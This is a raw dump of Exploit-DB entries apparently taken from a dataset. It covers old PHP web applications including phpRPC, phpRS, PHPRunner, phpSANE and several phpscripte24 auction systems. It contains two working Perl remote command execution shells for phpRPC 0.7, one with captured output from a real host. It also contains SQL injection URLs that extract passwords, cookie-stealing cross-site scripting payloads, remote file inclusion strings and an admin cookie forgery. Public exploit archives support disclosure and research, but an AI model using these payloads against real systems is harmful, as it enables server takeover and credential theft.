deardaniel/secdata-raw huggingface dataset:
Exploit-DB #1542
Description: phpRPC Library 0.7 - XML Data Decoding Remote Code Execution (1)
Type: webapps
Platform: php
Date: 2006-03-01
Author: LorD

Exploit:
#!/usr/bin/perl
#
#root@host [~]# perl rpc.pl phprpc.sourceforge.net /modules/phpRPC/server.php
#--== IHS IRAN HOMELAND SECURITY ==--
#
#phpRPC <= 0.7 commands execute exploit by LorD (http://www.ihs.ir)
#
#[IRAN HOMELAND SECURITY]$ uname -a;id;pwd
#Linux sc8-pr-web9.sourceforge.net 2.6.10-1.771_FC2smp #1 SMP Mon Mar 28 01:10:51 EST 2005 i686 i686 i386 GNU/Linux
#uid=65534(nfsnobody) gid=65534(nfsnobody) groups=65534(nfsnobody)
#/home/groups/p/ph/phprpc/htdocs/modules/phpRPC
#_end_
#[IRAN HOMELAND SECURITY]$
#
#
# 0rginal Advisory : http://www.gulftech.org/?node=research&article_id=00[PII_REDACTED]6
# Greetz to NT and C0d3r
use IO::Socket;
print "--== IHS IRAN HOMELAND SECURITY ==--\n\n";
print "phpRPC <= 0.7 commands execute exploit by LorD (http://www.ihs.ir)\n\n";
if ($ARGV[0] && $ARGV[1])
{
	$host = $ARGV[0];
	$xml = $ARGV[1];
	$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host",
	PeerPort => "80") || die "connecterror\n";
	while (1) {
		print '[IRAN HOMELAND SECURITY]$ ';
		$cmd = <STDIN>;
		chop($cmd);
		last if ($cmd eq 'exit');
		$xmldata = "<?xml version=\"1.0\"?><methodCall><methodName>test.method</methodName><params><param><value><base64>'));echo '_begin_\n';echo `".$cmd."`;echo '_end_\n';exit;</param></params></methodCall>";
		print $sock "POST ".$xml." HTTP/1.1\n";
		print $sock "Host: ".$host."\n";
		print $sock "Content-Type: text/xml\n";
		print $sock "Content-Length:".length($xmldata)."\n\n".$xmldata;
		$good=0;
		while ($ans = <$sock>)
		{
			if ($good == 1) { print "$ans"; }
			last if ($ans =~ /^_end_/);
			if ($ans =~ /^_begin_/) { $good = 1; }
		}
		if ($good==0) {print "Exploit Failed\n";exit();}
	}
}
else {
	print "Usage: perl rpc.pl host path_to_phpRPC\n\n";
	print "Example: perl rpc.pl target.com /server.php\n";
	exit;
}

# milw0rm.com [2006-03-01]
Exploit-DB #1546
Description: phpRPC Library 0.7 - XML Data Decoding Remote Code Execution (2)
Type: webapps
Platform: php
Date: 2006-03-02
Author: cijfer

Exploit:
#!/usr/bin/perl
#
# phpRPC <=0.7 Remote Command Execution Exploit
#
# based on: http://www.gulftech.org/?node=research&article_id=00[PII_REDACTED]6
#
# Copyright (c) 2006 cijfer <cijfer@netti!fi>
# All rights reserved.
#
# never ctrl+c again.
# cijfer$ http://target.com/dir
# host changed to 'http://target.com/dir'
# cijfer$ 
#
# $Id: cijfer-prpcxpl.pl,v 0.1 2006/03/01 05:46:00 cijfer Exp $

use LWP::UserAgent;
use URI::Escape;
use Getopt::Long;
use Term::ANSIColor;

$res  = GetOptions("host=s" => \$host, "proxy=s" => \$proxy, "verbose+" => \$verbose);
&usage unless $host;

while()
{
	print color("green"), "cijfer\$ ", color("reset");
	chomp($command = <STDIN>);
	exit unless $command;
	if($command =~ m/^http:\/\/(.*)/g)
	{
		$host="http://".$1;
		print "host changed to '";
		print color("bold"), $host."'\n", color("reset");
	}
	else
	{
		&exploit($command,$host);
	}
}

sub usage
{
	print "phpRPC <=0.7 Remote Command Execution Exploit\n";
	print "usage: $0 -hpv\n\n";
	print "  -h, --host\t\tfull address of target (ex. http://www.website.com/dir)\n";
	print "  -p, --proxy\t\tprovide an HTTP proxy (ex. 0.0.0.0:8080)\n";
	print "  -v, --verbose\t\tverbose mode (debug)\n\n";
	exit;
}

sub exploit
{
	my($command,$host) = @_;

	$cij=LWP::UserAgent->new() or die;
	$cij->agent("Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:2.0) Gecko/20060101");
	$cij->proxy("http", "http://".$proxy."/") unless !$proxy;

	$string  = shift;
	$xml     = "<?xml version=\"1.0\"?>";
	$xml    .= "<methodCall>";
	$xml    .= "<methodName>cijfer";
	$xml    .= "    <params>";
	$xml    .= "	    <param>";
	$xml    .= "	    <value><base64>'));echo\"_cijfer_\n\";system('".$string."');echo\"_cijfer_\";exit();";
	$xml    .= "	    </param>";
	$xml    .= "    </params>";
	$xml    .= "</methodCall>";

	$req=new HTTP::Request 'POST'=>$host."/modules/phpRPC/server.php";
	$req->content_type("text/xml");
	$req->content($xml);
	$out=$cij->request($req);

	if($out->is_success)
	{
		@cij=split("_cijfer_",$out->content);
		print substr(@cij[1],1);
	}

	if($verbose)
	{
		$recv=length $out->content;
		print "Total received bytes: ".$recv."\n";
		$sent=length $command;
		print "Total sent bytes: ".$sent."\n";
	}
}

# milw0rm.com [2006-03-02]
Exploit-DB #30888
Description: phpRPG 0.8 - '/tmp' Directory PHPSESSID Cookie Session Hijacking
Type: webapps
Platform: php
Date: 2007-12-15
Author: Michael Brooks

Exploit:
source: https://www.securityfocus.com/bid/26884/info

phpRPG is prone to two vulnerabilities:

- An SQL-injection vulnerability
- A vulnerability that lets remote attackers gain access to sessions.

Exploiting these issues may allow an unauthorized user to steal sessions, access or modify data, or exploit latent vulnerabilities in the underlying database.

This issue affects phpRPG 0.8.0; other versions may also be affected. 

http://www.example.com/phpRPG-0.8.0/tmp/
Exploit-DB #35118
Description: PHPRS - 'model-kits.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-12-16
Author: KnocKout

Exploit:
source: https://www.securityfocus.com/bid/45467/info

phpRS is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/model-kits.php?akce=model&nazev=zis-3-1942-divisional-gun&id=-32/**/union/**/select/**/1,concat%28user,0x3a,password%29,3,4,5/**/from/**/mac_user--
Exploit-DB #36148
Description: phpRS 2.8.1 - Multiple SQL Injections / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-09-18
Author: iM4n

Exploit:
source: https://www.securityfocus.com/bid/49729/info

phpRS is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

phpRS 2.8.1 is vulnerable; other versions may also be affected.

http://www.example.com/phpRS Path/view.php?cisloclanku=1%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

http://www.example.com/phpRS Path/search.php?rstema=%3Cbody%20onload%3dalert%28document.cookie%29%3E&rstext=all-phpRS-all&rsvelikost=sab

http://www.example.com/phpRS Path/index.php?strana=%24%7binjecthere%7d

http://www.example.com/phpRS Path/search.php?rstema=%24%7binjecthere%7d&rstext=all-phpRS-all&rsvelikost=sab

http://www.example.com/phpRS Path/search.php?rstema=7&rstext=all-phpRS-all&rsvelikost=sab&stromhlmenu=%24%7binjecthere%7d 

http://www.example.com/phpRS Path/view.php?cisloclanku=1%3Cscript%3Ealert%28document.cookie%29%3C/script%3E 

http://www.example.com/phpRS Path/search.php?rstema=%3Cbody%20onload%3dalert%28document.cookie%29%3E&rstext=all-phpRS-all&rsvelikost=sab

http://www.example.com/phpRS Path/index.php?strana=%24%7binjecthere%7d

http://www.example.com/phpRS Path/search.php?rstema=%24%7binjecthere%7d&rstext=all-phpRS-all&rsvelikost=sab 

http://www.example.com/phpRS Path/search.php?rstema=7&rstext=all-phpRS-all&rsvelikost=sab&stromhlmenu=%24%7binjecthere%7d
Exploit-DB #8226
Description: PHPRunner 4.2 - 'SearchOption' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-03-17
Author: BugReport.IR

Exploit:
##########################www.BugReport.ir########################################
#
#        AmnPardaz Security Research Team
#
# Title:        PHPRunner SQL Injection
# Vendor:        http://www.xlinesoft.com
# Vulnerable Version:    4.2 (prior versions also may be affected)
# Exploitation:        Remote with browser
# Original Advisory:    http://www.bugreport.ir/index_63.htm
# Fix:            N/A
###################################################################################

####################
- Description:
####################

PHPRunner builds visually appealing web interface for popular databases. Your web site visitors will be able to easily search, add, edit, delete and exprt

data in MySQL, Oracle, SQL Server, MS Access, and Postgre databases.

####################
- Vulnerability:
####################

Input passed to the "SearchField" parameters in "UserView_list.php" is not properly sanitised before being used in SQL queries.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

Vulnerable Pages: 'orders_list.php' , 'users_list.php' , 'Administrator_list.php'


####################
- PoC:
####################

Its possible to obtain plain text passwords from database by blind fishing exploit

http://example.com/output/UserView_list.php?a=search&value=1&SearchFor=abc&SearchOption=Contains&SearchField=Password like '%%')--
http://example.com/output/UserView_list.php?a=search&value=1&SearchFor=abc&SearchOption=Contains&SearchField=mid(Password,1,1)='a')--
http://example.com/output/UserView_list.php?a=search&value=1&SearchFor=abc&SearchOption=Contains&SearchField=mid(Password,1,2)='ab')--

####################
- Solution:
####################

Edit the source code to ensure that inputs are properly sanitized.


####################
- Credit:
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com 

# milw0rm.com [2009-03-17]
Exploit-DB #9533
Description: PHPSANE 0.5.0 - 'save.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-08-26
Author: CoBRa_21

Exploit:
-----------------------------------------------------------------------------------
phpSANE v 0.5.0 (save.php) Remote File Inclusion Vulnerability
-----------------------------------------------------------------------------------
Author: CoBRa_21
Mail: uyku_cu@windowslive.com
Script Download:http://sourceforge.net/projects/phpsane/
Dork: Yok :P
-----------------------------------------------------------------------------------
BUG
<?PHP
include("language.php");

$file_save = $_GET['file_save'];
$file_save_image = $_GET['file_save_image'];
$lang_id = $_GET['lang_id'];

if ($file_save_image)
{
  echo "<p class=\"align_center\">\n";
  echo "<img src=\"".$file_save."\" border=\"2\">\n";
  echo "</p>\n";
}
else
{
  // my_pre my_mono
  echo "<p class=\"my_pre\">\n";
  include($file_save);
  echo "</p>\n";
  echo "<hr>\n";
}
-----------------------------------------------------------------------------------
Exploit
http://localhost/path/save.php?file_save= (Shell Code)
-----------------------------------------------------------------------------------
TÃ¼m Ä°slam Aleminin Ramazan-Ä± Åžerifleri HayÄ±rlÄ± ve Mubarek Olsun.
-----------------------------------------------------------------------------------

# milw0rm.com [2009-08-26]
Exploit-DB #28273
Description: PHPSavant Savant2 - 'Stylesheet.php?MosConfig_absolute_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-25
Author: botan

Exploit:
source: https://www.securityfocus.com/bid/19151/info

Savant2 is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.

http://www.example.com/[mam_jom_path]/components/com_mtree/Savant2/Savant2_Plugin_stylesheet.php?mosConfig_absolute_path=EvilScript.txt?&cmd=id
Exploit-DB #35789
Description: phpScheduleIt 1.2.12 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-05-24
Author: High-Tech Bridge SA

Exploit:
source:  https://www.securityfocus.com/bid/47951/info

phpScheduleIt is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

phpScheduleIt 1.2.12 is vulnerable; other versions may also be affected. 

http://www.example.com/forgot_pwd.php/[xss]
http://www.example.com/index.php/[xss]
http://www.example.com/register.php/[xss]
http://www.example.com/roschedule.php/[xss]
http://www.example.com/popCalendar.php?scheduleid=[xss]
Exploit-DB #7639
Description: phpScribe 0.9 - 'user.cfg' Remote Configuration Disclosure
Type: webapps
Platform: php
Date: 2009-01-01
Author: ahmadbady

Exploit:
.......................................................................................................

/Remote Config File Disclosure/

script: phpscribe-0.9
   
***************************************************************************
download from:http://downloads.sourceforge.net/phpscribe/phpscribe-0.9.zip?modtime=[PII_REDACTED]&big_mirror=0
   
***************************************************************************
vul:

www.site.com/path/config/user.cfg
................................
$PS_USER_CFG['DATABASE_HOST']="";
$PS_USER_CFG['DATABASE_USER']="";
$PS_USER_CFG['DATABASE_PASS']="";
$PS_USER_CFG['DATABASE_BASE']="";
$PS_USER_CFG['DATABASE_TYPE']=""
...............................
-------------------------------------------------
-------------------------------------------------  
*************************************************

Author: ahmadbady 

*************************************************

# milw0rm.com [2009-01-01]
Exploit-DB #11776
Description: phpscripte24 Auktionshaus Community Standart System - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-03-16
Author: Easy Laster

Exploit:
----------------------------Information------------------------------------------------
+Name : phpscripte24 Auktionshaus Community Standart System Blind SQL Injection
+Autor : Easy Laster
+Date   : 16.03.2010
+Script  : phpscripte24 Auktionshaus Community Standart System
+Price : € 139.99
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : http://server/auktion/auktion.php?id_auk=

#password md5
+Exploitable   : http://server/auktion/auktion.php?id_auk=1+and+1=1+and+ascii
(substring((SELECT password FROM fh_user+WHERE+iduser=1 LIMIT 0,1),1,1))>1

-----------------------------------------------------------------------------------------
Exploit-DB #12535
Description: phpscripte24 Countdown Standart Rückwärts Auktions System - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-08
Author: Easy Laster

Exploit:
----------------------------Information------------------------------------------------
+Name : phpscripte24 Countdown Standart Rückwärts Auktions System SQL Injection Vulnerability
+Autor : Easy Laster
+ICQ : 11-051-551
+Date   : 08.05.2010
+Script  : phpscripte24 Countdown Standart Rückwärts Auktions System
+Download : -----------
+Price : € 159.99 
+Language :PHP
+Discovered by Easy Laster 4004-security-project.com
+Security Group Undergroundagents and 4004-Security-Project 4004-security-project.com
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr.ChAoS,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox.
  
---------------------------------------------------------------------------------------
                                                                                       
 ___ ___ ___ ___                         _ _           _____           _         _ 
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|
                                              |___|                 |___|          
  
  
----------------------------------------------------------------------------------------
+Vulnerability : [site]/auktion/cafe.php?id=
#password md5
+Exploitable   : [site]/auktion/cafe.php?id=cafe.php?id=1+and+1=1+and+ascii
(substring((SELECT password FROM fh_user+WHERE+iduser=1 LIMIT 0,1),1,1))>1
----------------------------------------------------------------------------------------
Exploit-DB #11805
Description: phpscripte24 Niedrig Gebote Pro Auktions System II - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-03-18
Author: Easy Laster

Exploit:
----------------------------Information------------------------------------------------
+Name : phpscripte24 Niedrig Gebote Pro Auktions System II Blind SQL Injection auktion.php
+Autor : Easy Laster
+Date   : 18.03.2010
+Script  : phpscripte24 Niedrig Gebote Pro Auktions System II
+Download : ------------------
+Price : &#65533; 499.90
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne.

---------------------------------------------------------------------------------------

 ___ ___ ___ ___                         _ _           _____           _         _
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|
                                              |___|                 |___|


----------------------------------------------------------------------------------------
+Vulnerability : http://www.site.com/auktion/auktion.php?id_auk=

#Password
+Exploitable   : http://www.site.com/auktion/auktion.php?id_auk=1+and+1=1+and+ascii
(substring((SELECT password FROM fh_user+WHERE+iduser=1 LIMIT 0,1),1,1))>1

#Username
http://www.site.com/auktion/auktion.php?id_auk=1+and+1=1+and+ascii
(substring((SELECT vorname FROM fh_user+WHERE+iduser=1 LIMIT 0,1),1,1))>1


----------------------------------------------------------------------------------------
Exploit-DB #11811
Description: PHPscripte24 Preisschlacht Liveshop System - 'index.php?aid' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-19
Author: Easy Laster

Exploit:
----------------------------Information------------------------------------------------
+Name : phpscripte24 Preisschlacht Liveshop System SQL Injection (seite&aid) index.php
+Autor : Easy Laster
+Date   : 19.03.2010
+Script  : phpscripte24 Preisschlacht Liveshop System
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : http://www.site.com/forum/index.php?seite=17&aid=

+Exploitable   : http://www.site.com/forum/index.php?seite=17&aid=111111111+union+select
+1,2,concat(ID,0x3a,Benutzer,0x3a,passwort),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
,21,22,23+from+ls_kunden+where+id=1

-----------------------------------------------------------------------------------------
Exploit-DB #12026
Description: phpscripte24 Vor und Rückwärts Auktions System - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-04-03
Author: Easy Laster

Exploit:
----------------------------Information------------------------------------------------
+Name : phpscripte24 Vor und Rückwärts Auktions System Blind SQL Injection auktion.php
+Autor : Easy Laster
+Date   : 02.04.2010
+Script  : phpscripte24Vor und Rückwärts Auktions System
+Price : € 299.00
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr.ChAoS,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : http://www.site.com/auktion/auktion.php?id_auk=

#password
+Exploitable   : http://www.site.com/auktion/auktion.php?id_auk=1+and+1=1+and+ascii
(substring((SELECT password FROM fh_user+WHERE+iduser=1 LIMIT 0,1),1,1))>1

-----------------------------------------------------------------------------------------
Exploit-DB #6649
Description: phpscripts Ranking Script - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-10-01
Author: Crackers_Child

Exploit:
**************************************************************************************

Author : By Crackers_Child
Contact: cashr00t@hotmail.com
Greetz : biyosecurity.com & milw0rm.com & tryag.cc & All My Friends

**************************************************************************************
Script   : Ranking Script  -  Insecure Cookie Handling Vulnerability
Demo     : http://www.ranking-script.de
Dork     : pagerank-0-topliste.html  or pagerank-0-tipp.html

**************************************************************************************

Exploit : javascript:document.cookie = "admin=ja; path=/";

Than go to > pagerank-0-admindaten.html and edit All thingz :)

**************************************************************************************
N0te : Ramazan Bayraminiz Mubarek Ola !
**************************************************************************************

# milw0rm.com [2008-10-01]